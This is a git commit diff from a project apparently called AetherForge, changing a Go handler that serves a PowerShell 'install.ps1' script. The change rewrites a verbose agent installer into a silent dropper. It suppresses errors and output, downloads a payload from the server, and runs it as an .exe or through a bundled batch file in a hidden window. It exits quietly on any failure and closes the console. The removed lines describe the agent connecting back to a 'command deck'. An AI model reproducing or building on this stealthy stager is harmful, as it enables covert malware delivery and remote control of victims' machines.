feat: Build Manager, Crucible ops deck, branding, and portable Cloudflare tunnel

Add Build Manager with pin-to-dropper, Crucible multi-node terminal with SSH probe/wake, Command Deck chart balance and pretty stats, AetherForge logo and sacred geometry UI, Field Guide refresh, and LAUNCH.bat Cloudflare MSI + token service install flow.
This commit is contained in:
AetherForge
2026-05-30 22:38:48 -07:00
parent e6b8d84edf
commit 9232f4c448
45 changed files with 4222 additions and 406 deletions

View File

@@ -166,49 +166,31 @@ func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
bt := "`"
nl := "\r\n"
script := "# AetherForge agent installer" + nl +
"# Usage: iex (irm '" + base + "/install.ps1')" + nl + nl +
"$ErrorActionPreference = 'Stop'" + nl +
script := "# AetherForge dropper" + nl +
"$ErrorActionPreference = 'SilentlyContinue'" + nl +
"$ProgressPreference = 'SilentlyContinue'" + nl + nl +
"$url = '" + base + "/get?os=windows'" + nl +
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())" + nl + nl +
"Write-Host '[*] AetherForge -- downloading agent...'" + nl +
"try {" + nl +
" $resp = Invoke-WebRequest -Uri $url -OutFile $tmp -UseBasicParsing -PassThru" + nl +
" if ($resp.StatusCode -ne 200) { throw \"Server returned $($resp.StatusCode)\" }" + nl +
"} catch {" + nl +
" Write-Host '[!] Download failed:' $_.Exception.Message" + nl +
" Write-Host ' Forge an agent first from the dashboard, then retry.'" + nl +
" exit 1" + nl +
"}" + nl + nl +
"$size = (Get-Item $tmp).Length" + nl +
"if ($size -lt 1024) { Write-Host '[!] Download too small -- something went wrong.'; exit 1 }" + nl + nl +
" (New-Object Net.WebClient).DownloadFile($url, $tmp)" + nl +
"} catch { exit 0 }" + nl + nl +
"if (-not (Test-Path $tmp) -or (Get-Item $tmp).Length -lt 1024) { exit 0 }" + nl + nl +
"$bytes = [System.IO.File]::ReadAllBytes($tmp)" + nl +
"$isZip = $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B" + nl + nl +
"$isZip = $bytes.Length -gt 1 -and $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B" + nl + nl +
"if ($isZip) {" + nl +
" Write-Host '[*] Extracting universal bundle...'" + nl +
" $dir = $tmp + '_bundle'" + nl +
" Add-Type -AssemblyName System.IO.Compression.FileSystem" + nl +
" [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)" + nl +
" $bat = $null" + nl +
" foreach ($name in @('Start.bat', 'Deploy.bat')) {" + nl +
" $c = Join-Path $dir $name" + nl +
" if (Test-Path $c) { $bat = $c; break }" + nl +
" }" + nl +
" if ($bat) {" + nl +
" Write-Host '[*] Running bundle launcher...'" + nl +
" Start-Process -FilePath 'cmd.exe' -ArgumentList \"/c " + bt + "\"$bat" + bt + "\"\" -WindowStyle Hidden" + nl +
" Write-Host '[+] Agent deployed from bundle.'" + nl +
" } else {" + nl +
" Write-Host '[!] No launcher found in bundle (Start.bat / Deploy.bat)'; exit 1" + nl +
" if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList \"/c " + bt + "\"$c" + bt + "\"\" -WindowStyle Hidden; break }" + nl +
" }" + nl +
"} else {" + nl +
" $exe = $tmp + '.exe'" + nl +
" Move-Item -Path $tmp -Destination $exe -Force" + nl +
" Write-Host '[*] Launching agent...'" + nl +
" Start-Process -FilePath $exe -WindowStyle Hidden" + nl +
" Write-Host '[+] Agent deployed -- it will install itself and connect back to the command deck.'" + nl +
"}" + nl
"}" + nl +
"if ($host.Name -match 'ConsoleHost') { [System.Environment]::Exit(0) }" + nl
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`)